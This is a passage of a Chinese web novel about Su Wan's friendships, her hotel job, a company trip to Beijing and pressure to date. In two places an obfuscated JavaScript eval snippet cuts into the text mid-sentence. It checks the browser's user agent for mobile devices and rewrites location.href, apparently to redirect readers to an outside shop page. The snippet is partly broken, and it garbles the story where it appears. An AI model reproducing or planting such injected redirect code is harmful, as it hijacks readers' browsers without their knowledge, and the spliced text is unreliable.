林栖伸出手,在她手背上拍了一下。“你喝多了。”声音不高,带着一点笑,但那笑不是嘲笑,是那种“我懂你”的笑。 苏晚摇了摇头,想说什么,舌头有点大,没说出来。她端起啤酒又灌了一口,冰凉的液体滑过喉咙,那股酒劲从胃里往上顶,顶到胸口,顶到嗓子眼,她打了一个嗝,用手捂住嘴,眼睛湿湿的,不知道是酒还是别的什么。 云曦坐在旁边,看着苏晚这个样子,笑了一声,把果盘往她那边推了推。“吃点水果,别光喝酒。” 苏晚捏了一颗葡萄塞进嘴里,嚼了两下,汁水甜腻腻的,把嘴里的酒味冲淡了一些。她靠在沙发上,头歪着,枕在云曦肩膀上。云曦的肩膀还是那个高度,不高不低,刚好够她靠着。她闭上眼睛,音响里的歌还在放,有人唱着“朋友一生一起走,那些日子不再有,一句话 一辈子一生情一杯酒,朋友不曾孤单过,一起朋友你会懂,还有伤还有痛还要走还有我。”,声音很大,但她觉得很远。她靠在那儿,手指搭在膝盖上,慢慢松开了。 那天的聚会散了之后,苏晚是被林栖扶着出来的。她没醉到走不动路,但脚步有点飘,踩在地上像踩在棉花上。林栖扶着她走到路边,招手拦了一辆出租车。车门拉开的时候,苏晚回头看了一眼——云曦站在KTV门口,手插在口袋里,路灯照在她身上,把她的影子拉得很长。她冲苏晚挥了挥手,苏晚也挥了挥手,弯下腰钻进车里。车门关上的时候,外面的声音被隔住了,只剩下发动机的嗡嗡声。她靠在椅背上,看着窗外的街灯一盏一盏往后退,亮一下,暗一下,亮一下,暗一下。她闭上眼睛,脑子里什么也没想。 一周后的周末,苏晚记得很清楚——后天云曦的火车票就要走了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437433|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回上海。那天下午她坐在办公室里,手里攥着手机,屏幕上显示着云曦的对话框,上一次的消息还是三天前的,云曦发了一张婚礼现场的照片,她回了一个“好看”,然后就没了。她把手机翻过来又翻过去,手指在手机上蹭了好几下,最后还是点开了对话框,拨了过去。电话响了几声,接了。 “曦曦,”苏晚靠在椅背上,声音放得很轻,“你后天就走了,能不能再出来见一面?” 云曦那边有点吵,有人在说话,有碗筷碰撞的声音。“我周末要去中餐厅加班,”苏晚的手指在桌沿上慢慢蹭着,语速比平时快,像是怕被打断,“能不能早上见个面?就一会儿。” “不行啊,”云曦的声音从听筒里挤出来,带着一点抱歉,“我这几天一直和堂弟他们呆在一起,在外面玩呢,来不及回来。晚上有空,晚上行不行?” 苏晚的手指停在桌沿上。“行。”她说。晚上就晚上。她挂了电话,把手机放在桌上,看着窗外发了会儿呆。窗外的天灰蒙蒙的,云压得很低,像是要下雨,又没下下来。 那天晚上,苏晚在中餐厅加班。她端着托盘在桌子之间走来走去。菜一道一道地上,盘子一道一道地撤,她机械地重复着这些动作,心里一直在看时间。八点,八点半,九点。她没等到正式收尾,把托盘交给旁边的同事,说了一声“帮我收一下,我有急事”,同事看了她一眼,点了点头,她连布鞋都没换下来,直接穿着从员工通道跑出去。夜风迎面扑过来,带着凉意,她打了个哆嗦,把外套拉链拉到最上面,打的往市中心的公园跑。 公园在山脚下,山不高,但有个亭子,修在半山腰,从亭子往下看,能看见半个城市的灯火。苏晚跑上坡道的时候,腿已经开始发软了,呼吸又急又粗,呼出的白汽在路灯下散开,一团一团的。她站在亭子旁边,手撑着膝盖,喘了几口气,然后直起身,掏出手机,拨了云曦的号码。电话响了两声,接了。 “曦曦,我在公园那个亭子这边,坡道上。你过来,我们一起散散步。” 那头安静了一下,然后云曦的声音响起来,带着一点犹豫。“清清,堂弟他们说要一起过来。佳佳也说好久没见你了,想跟你聊聊。” 苏晚握着手机,手指慢慢收紧。风吹过来,把她的头发吹到脸上,她伸手拨开,手指在脸颊上蹭了一下。“曦曦,”她说,声音不高,但每个字都咬得很清楚,“你能不能单独出来?就我们两个。我想跟你单独聊聊。” 电话那头又安静了一下。这回安静的时间更长。然后云曦的声音响起来,比刚才硬了一些。“他们都准备好了,我怎么说不带?你又不是不认识他们。大家一起出来走走不好吗?” 苏晚站在坡道上,夜风从山底下吹上来,把她的外套吹得鼓起来。她看着山下的城市,那些灯光密密麻麻的,像一堆被谁打翻了的星星,有的亮,有的暗,有的在闪,有的已经不亮了。她的嘴唇动了一下,想说什么,没说出来。她沉默了一会儿,然后开口,声音比刚才更低了一些。 “我不是不想见他们。我就是想跟你单独待一会儿。你后天就走了,下次见面不知道什么时候。” 云曦在那边叹了口气,那口气拖得很长,像是从胸腔里挤出来的。“清清,你别这样。他们都在边上等着,我怎么说?” 苏晚没说话。风又吹过来了,把她的头发吹到脸上,这回她没伸手去拨。她站在那儿,握着手机,听见那边有人说话的声音,听不清说什么,但能听出是几个人的声音混在一起,嗡嗡的。云曦在那边说了句什么,被风声盖住了,她没听清。 “算了。”苏晚说。声音很轻,像是被风刮散的。她不知道云曦有没有听见这两个字。她把手机从耳朵上拿下来,看了一眼屏幕——通话还在继续,秒数在跳,一秒一秒地增加。她把手机贴回耳朵上。 “曦曦,你们玩吧。我有点累了,先回去了。” “清清——” 苏晚挂了电话。她把手机攥在手心里,站在坡道上,风吹着她的脸,凉的,干的,没眼泪。她抬头看了一眼那个亭子。她站了很久,久到手指冻僵了,手机差点从手心里滑出来。她把手插进口袋里,转过身,往坡下走。走了几步,又停下来,回头看了一眼。亭子还立在那儿,路灯照着它,影子投在地上,歪歪扭扭的。她转回头,继续走。坡道很长,她走得慢,一步一步,鞋底踩在水泥地上,沙沙的。走到坡底的时候,她停下来,掏出手机,看了一眼。没有消息。她把手机塞回口袋里,往公交站走。公交车来了,她上去,找了个靠窗的位置坐下。车子开动的时候,窗外的街景开始往后退。她靠在椅背上,看着那些路灯一盏一盏往后退,亮一下,暗一下。她的心很凉,不是那种被冷水浇过的凉,是那种从里面慢慢渗出来的凉,像冬天的寒气从墙缝里钻进来,挡不住,也捂不热。她把手插进口袋里。公交车拐了个弯,窗外的街景换了,她看着那些陌生的灯光,脑子里什么都没想。到了站,她下车,往家走。走到楼下的时候,她抬头看了一眼——楼上的灯亮着,爸爸大概还没睡。她站在楼下,站了一会儿,然后推开楼道门,声控灯亮了,黄黄的,照着楼梯扶手。她一步一步往上走,脚步声在空荡荡的楼道里回响。进了门,换了拖鞋,走到床边,躺下来。窗外偶尔有车经过,车灯扫过窗帘,亮一下,暗一下。她翻了个身,面朝墙。她闭上眼睛,把被子拉到下巴,呼吸慢慢平下来。她不知道自己是什么时候睡着的,只记得睡着之前,脑子里闪过一个念头——那条坡道,那个亭子,好像来过。不是今天晚上来过,是很久以前,也是一个人站在那儿,风也是这么大,手也是这么凉。那个念头闪了一下就没了,像水面上的气泡,咕噜一下浮上来,破了。 68. 朋友圈 五 一加班费到账的那天,苏晚正在整理上个月的报销单。手机在桌面上震了一下,她拿起来看了一眼——银行发来的短信,一串数字跳进眼睛里。她愣了好几秒,手指停在屏幕上面,把那串数字又看了一遍。比想象的多。不是多一点,是多了一截,多到她在心里默默加了一遍自己加过的班,发现怎么加都对不上那个数。 “看什么呢?”周卉从旁边探过头来,目光落在她手机上。 苏晚把手机翻过去,屏幕朝下扣在桌上,嘴角还翘着没来得及收。“没什么,发工资了。” 周卉哦了一声,收回目光,侧头看了她一眼。“发工资了?那表情不像是发工资,像是捡到钱了。” 苏晚把手机翻过来,又看了一眼那条短信,把手机揣进口袋里。她心里有点高兴,不是那种浮在表面的、让人想跳起来喊两声的高兴,是那种沉在底下的、慢慢从心底涌上来的暖意。她掰着手指算了一下——加班费加上基本工资,再添一点,够出门旅游一周了。她没去过什么地方,从小到大最远就是上海。 “我觉得很好,”她抬起头,看着周卉,眼睛亮了一下,“我感觉看见钱在眼前‘飞’。” 周卉被她这个说法逗笑了,和李敏就工作上的事情说完后,站起来的时候伸手在她肩膀上拍了一下。“那你加油。” 苏晚点点头,把手机从口袋里掏出来,又看了一眼那条短信,然后把手机塞回去,继续整理报销单。手指在纸面上划过,数字一个一个地看过去,但脑子里想的不是这些数字,是那些她在朋友圈里看过的照片——海边的,山上的,古城墙边上的,别人站在那些地方笑着,阳光打在脸上。她想了几天,没想好去哪儿,但那个念头一直在,像口袋里揣着一张没写地址的票根。 小方来了之后,办公室里多了点活气,小方对她也挺友好的。 午休的时候,小方会和她边吃边聊几句。聊的都是些小事— “今天的菜咸了。”小方用筷子戳了一下那块红烧肉,搁在饭盒边上。 苏晚把嘴里的饭咽下去,点了点头。“是有点。” “昨天那集电视剧你看了没?”小方把筷子伸向青菜,夹了一根,放进嘴里。 “看了。”苏晚把饭盒里的汤喝了一口,烫的,舌头被烫了一下,她吸了一口气,“那个女主角终于发现真相了,我还以为她要哭,结果没哭。” “我也是!”小方的眼睛亮了一下,筷子悬在半空,“我以为就我一个人看得那么认真。她那个表情,你知道吗,就是那种——明明很难过,但不想让别人看出来——演得挺好的。” 苏晚看着她,嘴角弯了一下。两个人就这么聊着,聊食堂的菜,聊电视剧,聊周末打算去哪儿。小方说她周末想去逛街,问苏晚去不去,苏晚说去,两个人约了时间。苏晚觉得挺好的。终于有个能说话的人了。不是林栖那种“什么都能说”的好,是那种“有人在身边”的好,淡淡的,但踏实。 有一天中午,苏晚正在整理抽屉,把回形针倒出来,数了数,又装回去。小方放在自己桌子上的电话响了。小方接起来,嗯了两声,说了一句“好的,我跟她说”,挂了。她转过头,看着苏晚,目光在她脸上停了一下。 “晚晚,今天你生日?” 苏晚愣了一下,手里那盒回形针差点掉地上,她赶紧抓住,搁在桌面上。她转过头,看着小方,“你怎么知道?” “刚才那个电话是西餐厅打来的,”小方说,“主厨打电话让你下班前把冰柜里的蛋糕拿走。” “哦,好的。” 小方靠在椅背上,手指在桌沿上叩了两下,嘴角往下撇了一下,不是委屈,是那种——苏晚后来想了很久,觉得是“可惜”的表情。 “晚晚,今天也是我的生日。”她的声音低了一些,不像平时那么亮,“只是家里人讲究农历生日,证件上写的是农历日子。” 苏晚站起来,走到小方面前,手搭在她的椅背上。 “生日快乐!”她说,声音不高,但每个字都说清楚了。 小方抬起头,看着她,嘴角慢慢弯起来,那颗有点歪的虎牙露出来了。“谢谢。” “以后我们一起过生日。”苏晚说。 小方的眼睛亮了一下,手指在桌沿上停住了。“好。”她说,声音比刚才高了一些,带着一点藏不住的高兴。 苏晚回到自己的座位上,打开抽屉,把那盒回形针又倒出来,数了数,又装回去。她的手指在铁盒子上蹭了一下,脑子里想着——以后每年的这一天,有个人可以一起说“生日快乐”了。她不知道这个“以后”会有多长,但那一刻,她觉得挺好的。 那一整年,苏晚加了不知道多少个周末的班。元旦,五一,十一,还有那些不年不节但日子好听的周末——六月初六,八月初八,九月二十六。婚宴一场接一场,她站在宴会厅里,看着那些花柱被搭起来,又被拆掉;那些红毯被铺开,又被卷起来;那些新人站在台上,交换戒指,倒香槟塔,切蛋糕,笑,哭,敬酒,送客。她把那些场面拍下来,发在朋友圈里,配上一两句话——“今天的拱门是香槟色的,好看”“新娘的婚纱拖尾有三米长”“新郎敬酒的时候被灌得脸红到脖子”。她不是那种会写很多字的人,但每一场都会发一条,像在记日记。那些朋友圈下面,有时候有人点赞,有时候没有。她不介意,只是想记下来。 苏晚开始按中医的建议调整生活:一拳头饭量,少量多次喝水,散步半小时,微微发热就行。不再走两小时,不再晚上不吃饭。体重掉的慢,但脸色慢慢好起来。周卉有一次从她身边经过,停下来,看了她一眼。 “气色比夏天好多了。”她说,点了点头,走了。 苏晚站在那儿,手摸了一下自己的脸,指尖碰到的皮肤是温的,不干,不油。她把手放下来,继续整理报表。 年后开春,酒店组织团建,去城郊一个农家乐。大巴车从酒店门口出发,开了大概一个小时,拐进一条两边都是田的路。田里的麦苗刚返青,绿得发亮,风一吹,像水面起了波纹。农家乐在一个村子边上,几间瓦房,一个大院子,院子里摆着几张木头桌子和长条凳,桌面上铺着蓝白格的桌布,被风吹得翘起一个角。院子后面是一片果园,桃树刚打苞,粉红色的花骨朵一簇一簇的,还没开,但已经能看出要开的样子。苏晚和小方拍了很多照片。站在桃树前面的,坐在秋千上的,端着茶杯假装喝茶的,站在院子门口对着镜头笑的。小方拍照的时候喜欢歪着头,手指比一个V字,放在下巴底下,眼睛睁得大大的。苏晚不太会摆姿势,就站着,手垂在身侧,嘴角弯一下。拍出来之后小方给她看,她愣了一下——难得,照片还蛮好看的。不是那种精修过的好看,是那种——她自己也不太会形容——就是看起来像是真的在笑,不是对着镜头挤出来的那种。 她把照片挑了几张,发在朋友圈里。配了一行字:“春天,农家乐,和同事。”下面很快多了好多点赞。林栖点了,云曦点了,皮球点了,李建点了,还有几个很久没联系的名字,也在下面亮着。她看着那些头像,看了一会儿,把手机揣进口袋里,继续跟小方在院子里转。 苏晚被评为“年度优秀员工”奖。她从老板手里接过证书,朱总他的声音不高,但每个字都带着笑意。“小苏,不错,明年继续。” 苏晚点点头,嘴角咧开了,咧得有点大,收不住。“谢谢朱总。” “优秀员工奖励国内五日游,计划是北京,时间再安排。”下了台回到座位上,小苏低声说了声。苏晚微侧了下头,没说话,但眼睛亮了一下。 苏晚有点期待。 她给林栖发了一条消息:“我评上优秀员工了,明年可以出去玩。” 后来一段时间,苏晚去送报表的时候,站在周卉办公桌前面,犹豫了一下。周卉正在看什么东西,头没抬,手指在纸上划过去。 “主任,我想问下优秀员工旅游定时间了吗?”苏晚的声音不高,手指在报表边上蹭了一下,“我想避开时间再出门一趟。” 周卉抬起头,看了她一眼,把手里那支笔搁在桌上。“是吗?想去哪儿?” “还没想好。”苏晚说,把报表放在桌上,手指按着纸边推了推,“不是我去年加班的钱统计过了吗?我想用那笔钱,在附近转转。” 周卉看着她,嘴角弯了一下,想起了什么。“哦——”她拉长了声音,“你之前说的那个钱在眼前‘飞’?” 苏晚点点头,脸有点红,但嘴角是翘着的。 “会通知你的,”周卉把报表拿过来,翻了一下,又合上,“你可以先计划。” 苏晚点了点头,准备转身走。周卉靠在椅背上,看着她,又说了一句:“我还以为你不想去北京玩了呢?” 苏晚愣了一下,转过身。“不是的,北京是北京。我就可能附近转转,住两三天。我那笔钱,不能和酒店安排的比的。” 周围有人笑出声来。不知道是谁先笑的,然后笑声连成一片,轻轻的,像风吹过树叶。苏晚站在那儿,看着那些笑的脸,自己也笑了。她转身往外走,走到门口的时候,听见身后有人说“这孩子真有意思”,她没回头,推开门走了。 6月18日,苏晚第一次坐飞机,她提前两天就把行李收拾好了,一个黑色的拉杆箱,不大,塞在床底下,她拖出来,打开,又合上,又打开,检查了三遍。身份证在背包内侧的拉链袋里,充电器在侧袋里,换洗衣服叠得整整齐齐,压在箱子最底下,上面放着一本书,是那本翻了一半的小说,书签夹在中间,露出一截带子。她按照酒店给的路线图,在网上查了很多攻略,把那些景点一个一个地搜,看别人拍的照片,看别人写的游记,看别人说哪个门进去人少,哪个时间段去光线好。她把有用的信息记在手机备忘录里,一条一条的,标了序号,从“故宫”到“颐和园”,从“长城”到“鸟巢”,列了整整一屏。 “第一次坐飞机....期待北京的大机场” “等待中的人.....好认真的在研究路线图,可惜不是北京地图。” “可爱的导游小姐,辛苦你了!可要带好我们.....看,开心的‘家人们’” “‘小旗不倒,人不散’开始逛天安门喽!!!” “御花园无‘花’” “在找‘三轮车’准备去游胡同喽!!!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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爬长城那天,脚还没完全好。她撑着上去,走到北三楼就停了。站在那里往下看,城墙顺着山势往下延伸,消失在远处的树丛里。风从山顶吹下来,把她的头发吹到脸上,她伸手拨开,看着更远的那段城墙,站在那里看了很久。她在心里说:有机会再去北京的话,我不会错过。 颐和园是全程最舒心的一段。那天天气好,太阳不烈,风不大。她沿着慈禧水道坐船进去,船是那种画舫,红柱子,黄顶子,船头站着一个讲解员,穿着蓝色的马甲,举着一个小喇叭,讲慈禧每年夏天从城里到颐和园走的这条水路。苏晚坐在船尾,手搭在船舷上,手指碰到水面,凉的。两岸的柳树垂下来,枝条拂着水面,一圈一圈的波纹荡开去。她把手机举起来拍了一段视频,风把她的声音录进去了,只有两个字——“真好。” 离开颐和园的路上,她看见一群大叔大妈在湖边练太极。穿着统一的白色练功服,动作很慢,抬手,推掌,转身,收势,每一步都稳稳的,像是被风吹动的树,枝干在晃,根不动。苏晚站在旁边看了一会儿,大妈冲她笑了一下,她也笑了一下,走了。 在国家博物馆门口,她看见一队军人从面前走过。绿色的军装,帽子压得很低,步伐整齐,手臂摆动的幅度一模一样,脚落地的声音只有一声,不是很多声叠在一起的一声,是真正的一声。她站在那儿,看着他们走过去,走到大门口,停下来,转身,站岗。她的目光跟着他们走了很远,直到旁边有人喊她“苏晚,走啦”,她才回过神,跟上去。 小姚是全程最幸运的人。不管走到哪儿,都能被拍到经典的照片。在天安门前,她刚好站在国旗飘起来的那一瞬间;在长城上,她刚好站在光线最好的那个位置;在颐和园的长廊里,她刚好站在一幅画前面,那幅画被夕阳照着,金灿灿的。小姚每张照片都笑得很好看,不是那种对着镜头挤出来的好看,是那种——苏晚想了很久,觉得是“被运气宠着”的好看。 完美的行程总是有缺点的。飞机晚点了两个小时,她们在候机厅里坐着,有人打哈欠,有人靠着椅背睡着了,有人在充电桩前面排队。回程的时候在高速上堵了四十分钟,前面的车尾灯红成一片,像一条被拉长的糖葫芦。凌晨的时候脚肿得厉害,她把鞋带松了,脚搁在背包上,凉凉的空气贴着皮肤,舒服了一点。她有点想家了。 6月25日,苏晚回到酒店。第二天,她作为优秀员工代表,在会议室里做了一场分享。 苏晚站在前面,手里攥着一叠纸,纸上写着她列好的提纲——行程,见闻,感想。 “不足以用文字说明的……”她说。停了一下,手指在桌沿上慢慢蹭了一下,抬起头,看着台下那些脸——周卉的,小方的,小姚的,朱总的,还有那些她叫不上名字的同事的脸。“我就留着自己慢慢回味了。” 她笑了一下,把手从桌上收回来,垂在身侧。台下有人鼓掌,掌声不大,但够用了。她走回自己的座位上,坐下来,把那叠纸翻过来,扣在桌上。她没再看那些字,但她知道那些字在那里,像一张地图,画着她走过的路。她把手放在膝盖上,手指搭着,没动。窗外的阳光照进来,落在她手背上,一小块,亮的。她盯着那一小块光,看了一会儿,嘴角弯了一下。 69. 喂饭 周五晚上 “晚上有空出来?”苏晚收到了一条短信,发件人的名字她存了——“陈旭”,是林栖介绍的同事。两人那天见面印象都还不错,加了微信。 苏晚站在电梯口,盯着那六个字看了两秒,手指在屏幕上点了两下,回了一条:“晚上要加班。”发完把手机塞回口袋里,电梯门开了,她走进去,按了九楼。电梯往上走的时候,她靠在电梯壁上,看着楼层数字一格一格跳,脑子里空空的。 晚上中餐厅加班结束后,苏晚走在回家的路上,路灯把她的影子拉得很长,从身后拖到身前,又从身前拖到身后。她走得慢,鞋底踩在人行道上,沙沙的。手机震了,这回是林栖的电话。她接起来,把手机贴在耳朵上。 “晚晚,你和那个男生最近怎么样?见了没?”林栖的询问带着一点试探,像在问一件很重要但不想让对方觉得很重要的事。 “今天他约我,我加班了。”苏晚把手机换到另一只耳朵,手指在口袋里攥了一下。 “那你有没有多回一句话?”林栖的声音拔高了一点,不是生气,是那种“你怎么又这样”的无奈,“比如——‘明天有空可以见面’之类的?你得给他个时间啊,不然人家以为你没兴趣。” 苏晚没说话,脚步慢了一下。她想起自己回的那条短信——“晚上要加班”,四个字,句号结尾,干净利落,像给一份文件盖了章,结了。她当时没想那么多,只是想快点回复,快点把手机揣回去,快点进电梯。现在被林栖这么一说,她忽然觉得那句话确实太冷了。不是冷,是硬,像一块石头扔过去,不指望对方接住。 林栖在那边深吸了一口气,声音压低了,但语速快了,像是憋了一肚子气终于找到了出口。“晚晚,我跟你说个事,你别嫌我翻旧账。上次我妈给你介绍那个做生意的男生,人家父母都开口了,让你去家里坐坐。按我们那儿的规矩,那就是看看家境、认认门,算是很有诚意了吧?结果你呢?去是去了,后来回的话语不达意的,你知道吗?”她的声音有点抖,不是哭,是那种恨铁不成钢的急,“人家后来跟我说,觉得你好像不太想谈。好好的姻缘,你就这么放过去了。你到底怎么想的?” 苏晚站在路灯下面,风吹过来,把她的头发吹到脸上,她没伸手拨。她想起那个做生意的男生,想起他笑起来的时候嘴角往一边歪,想起他请她吃饭的时候把菜单递过来,说“你点,随便点”。 “你得明确下次的见面时间,”林栖的声音认真起来了,带着一点“我在教你做事”的笃定,“不然人家怎么知道你想不想继续?相亲这种事,不是你等着就行,你得让人家看到你的诚意。” 苏晚握着手机,手指慢慢收紧,指尖发白。她张了张嘴,想说“我知道了”,但喉咙里像是堵着什么东西,没说出来。电话那头林栖还在说,声音比刚才低了一些,但语速快了,像是憋了很久的话终于找到机会倒出来。 “我跟你说,你别嫌我烦。你这个性格,什么都慢半拍,人家约你你拒绝,也不说下次什么时候,人家肯定以为你不想谈。你要是真不想谈,你早跟我说,我让我妈别再帮你留意了。你要是想谈,你就主动一点,别老是等着别人来追你。” 她有点委屈。不是委屈林栖说她,是委屈自己——她不是不想回那句“明天有空”,她只是太累了。累到不想打字,累到不想思考,累到只想快点回家,躺到床上,闭上眼睛。但这种委屈说不出口,说出来就像在找借口。她没说话,林栖也没说话,电话里只有电流的沙沙声,像风吹过电线。 “算了,”林栖的声音软下来,“你早点休息吧。明天记得给他发个消息。” “嗯。”苏晚说。 挂了电话,苏晚把手机攥在手心里,站在路灯下面,站了一会儿。风吹过来,把她的头发吹到脸上,她伸手拨开,手指在脸颊上蹭了一下,凉的。她继续往家走,步子比刚才快了一些,鞋底踩在人行道上,嗒嗒的。 苏晚躺在床上,脑子里转着林栖说的那些话——“你得让人家看到你的诚意”。她翻了个身,面朝墙,拿起手机,打开微信,点开陈旭的对话框。打了一行字:“明天中午有空,可以见面。”打完又删了,换成“明天你有空吗?”又删了。她把手机扣在枕头旁边,翻了个身,面朝天花板。 苏晚觉得委屈,还是睡不着。她又拿起手机,打开朋友圈,发了一段文字: “朋友说要结婚了因为不小心有了孩子,朋友说要结婚了因为父母之命,朋友说要结婚了因为年龄大了,朋友说要结婚了因为前一段感情的伤害,朋友说要结婚了因为对方条件还不错,很多结婚的理由,我仿佛已经很久没听到他要结婚是因为很爱一个人,想永远和她在一起……” 她把手机放在枕头旁边,屏幕朝下,把被子拉到下巴,闭上了眼睛。脑子里还在转那些字——“很爱一个人,想永远和她在一起”。她不知道自己在想什么,也不知道自己为什么要发这段话。大概是今天太累了,大概是林栖说的那些话让她有点烦,大概是那个男生的短信让她觉得自己好像欠了谁一个交代。她翻了个身,把被子蒙过头顶,闷了一会儿,又掀开,呼吸了一口凉气。不知道过了多久,她睡着了。 第二天早上,苏晚是被闹钟震醒的。她伸手去够床头柜上的手机,屏幕亮着,微信的图标上多了一个红色的数字。点开,是邓颖的回复,只有一句话:“你要结婚啦!” 苏晚愣了一下,揉了揉眼睛,把那条朋友圈又看了一遍,然后回了一句:“不是,没有。”发完之后她想了想,又打了一行字:“晚上有空不?出来,我请你吃西餐,就在我们酒店。” “好。”邓颖秒回。 苏晚把手机放在枕头旁边,躺了一会儿,然后起床洗脸刷牙。站在镜子前面,她看着镜子里的自己,头发乱糟糟的,眼睛有点肿,昨晚没睡好。她拧开水龙头,捧了水拍在脸上,凉意从皮肤渗进去,人清醒了一些。她想起昨晚没发出去的那条消息,拿起手机,打开陈旭的对话框,打了一行字:“不好意思,昨晚加班太晚了。今天中午有空吗?”这回没删,直接发了出去。发完之后她把手机放在洗手台上,继续刷牙。手机震了一下,她拿起来看——“中午有点事,下次吧。”她盯着那行字看了两秒,把手机放下,把嘴里的泡沫吐掉,漱了口,擦了脸。下次。她不知道这个“下次”会不会真的有,但她没再回。 晚上下班后,苏晚换了自己的衣服,一件浅蓝色的针织衫,牛仔裤,平底鞋,在镜子前照了一下,把头发重新扎了一遍,扎得比平时高一些,看起来精神一点。她走到一楼西餐厅门口,迎宾台后面站着一个服务员。苏晚走过去,胳膊肘撑在台面上。 “今天有什么新品?” 服务员把手里的菜单翻了一页,手指点着上面那行字。“今天海鲜蛮新鲜的,虾还是活的。小蛋糕今天多了好几个口味,草莓的、芒果的、巧克力的,你上次不是说想吃草莓的吗?” 苏晚笑了一下,还没来得及说话,裤腿被什么东西拽了一下。她低头一看——一个小男孩站在她旁边,穿着一身黑色的卫衣和裤子,小男孩仰着头,眼睛亮亮的,瞳孔黑得像两颗被水洗过的葡萄,嘴角翘着。 “呦,是我们家的小可爱啊!”苏晚蹲下来,手扶着他的肩膀,把他卫衣上的帽子翻下来,露出整张脸。 “你妈妈呢?” “妈妈去洗手间了。”小男孩的声音不大,但很清楚,字正腔圆的,像是在幼儿园学过朗诵。他说话的时候下巴微微抬起来,眼睛不躲不闪,很有礼貌的样子。 苏晚站起来,往拐角方向看了一眼。走廊那头,邓颖正从洗手间出来,低着头在包里翻什么,没看见她。苏晚冲那个方向挥了挥手,邓颖抬起头,看见了她,也挥了一下手,加快脚步走过来。走到苏晚面前,她伸手在小男孩头顶上拍了一下。“叫阿姨了没有?” “叫了。”小男孩点点头,露出一口洁白的牙齿。 苏晚转身把手上的餐券递给服务员,她接过去,在机器上刷了一下,递回来两张小票。苏晚把小票折好,塞进口袋里,带着邓颖和小男孩往里面走。餐桌是提前订好的,靠窗的位置,桌面上铺着深灰色的餐垫,餐具摆得整整齐齐,刀叉在灯光下反着光。苏晚把包放在椅子上,然后带着邓颖去餐台拿吃的。餐台很长,从这头摆到那头,不锈钢的保温盆一个挨一个,里面盛着不同的菜。海鲜区有虾、蟹腿、扇贝,虾是冰镇的,壳上还挂着水珠,亮晶晶的。牛排区有西冷和菲力,大师傅站在铁板后面,手里的铲子翻着肉,滋滋地响。日式料理区有寿司和刺身,三文鱼切得薄薄的,橙色的肉上面有白色的纹路,像大理石。熟食区有红烧肉、糖醋排骨、清炒时蔬,冒着热气。小蛋糕一排一排的,草莓味的放在最前面,粉色的奶油上面顶着一颗草莓,红得发亮。苏晚端着碟子,跟在邓颖后面,两人各自拿着不同的食品,放在桌上。 小可爱坐在儿童餐椅上,小脚够不着地面,悬在半空,一抖一抖的,鞋底蹭着椅腿,发出沙沙的声响。 “坐好。”邓颖转过身,看着小男孩,眉头皱了一下,嘴角往下撇了一点,不是凶,是那种“我说了很多遍了你还是不听”的无奈。 小男孩把脚停下来,两只手放在桌上,手指交叉握在一起,乖乖的。 邓颖把碟子里的食物拨了拨,挑了几样她觉得小孩能吃的——一小块牛排,切成丁,几根芦笋,去掉头尾,一小碗米饭,浇了点红烧肉的汤汁。她把小碗堆得高高的,放在小男孩面前。 “这个这个这个,你得全吃完。”她的手指在碗上面点了几下,“吃完才能看动画片。” 小男孩低头看了一眼那碗饭,又抬头看了一眼邓颖,嘴巴动了一下,像是想说什么,又咽回去了。他拿起勺子,舀了一勺饭,塞进嘴里,腮帮子鼓起来,嚼了两下,咽下去。邓颖看着他吃了几口,才转过身来,端起自己的碟子。 两个人一边吃一边聊。邓颖夹了一块三文鱼,蘸了酱油和芥末,塞进嘴里,嚼了两下,眼睛眯了一下——芥末冲的。 “最近还在忙吗?”她端起可乐杯喝了一口,吸管在杯子里搅了一下,冰块哗啦响了一声。 “嗯,需要餐厅时不时加班。”苏晚把虾壳剥掉,虾肉白白的,蘸了点醋,放进嘴里。 “没谈个恋爱?”邓颖随意地问,筷子在盘子里拨了一下,夹了一块红烧肉。 “栖栖有帮我介绍对象,”苏晚把虾肉咽下去,端起橙汁喝了一口,“家里人也有帮忙介绍。” “那有看中的吗?”邓颖把筷子放下,手撑在桌面上,明显来了兴趣,身子往前探了探,眼睛亮亮的。 苏晚笑了一下,把虾肉咽下去,端起橙汁又喝了一口,没接话。邓颖也不追问,笑了一声,继续吃菜。 “我跟你说个好玩的事,”邓颖夹了一块糖醋排骨,咬了一口,骨头吐在碟子边上,用纸巾擦了擦嘴,“前几天我家那个小家伙,趁我不注意,把我的口红拿走了,在墙上画了一个大圈。我回来一看,墙上红彤彤的一个大太阳,他站在旁边,手里攥着口红,嘴上脸上全是红的,还冲我笑,说‘妈妈,太阳’。我气得想打他,看他那个样子又忍不住笑。”她说着,眼睛弯成两道缝,手指在桌沿上叩了两下。 苏晚噗嗤一声笑出来,差点把嘴里的橙汁喷出来,赶紧用手捂住嘴。“那口红还能用吗?” “用啥呀,直接断了。他拧出来太多,一按就折了。”邓颖摇了摇头,嘴角却翘着,“不过我没骂他,拿湿毛巾擦了半天,擦不干净,后来用酒精才擦掉。他站在旁边看着,还帮我递纸巾,递一张说一声‘妈妈给你’。” 苏晚听着,笑得肩膀一抖一抖的,把碟子里那块草莓蛋糕切了一小块放进嘴里,奶油甜的,草莓有点酸。 “还有一次,”邓颖把手里的筷子放下,比划着,“他晚上不肯睡觉,我在旁边装睡。他翻来翻去,后来把手伸过来摸我的脸,摸到眼睛的时候,手指头直接戳进来了,疼得我‘啊’一声叫出来。他吓了一跳,缩回手,愣了两秒,然后说‘妈妈对不起,我不是故意的’。你说我能怎么办?只能抱过来亲一口。” 苏晚笑得趴在桌上,手捂着肚子。“你这一天天过得也太精彩了。” 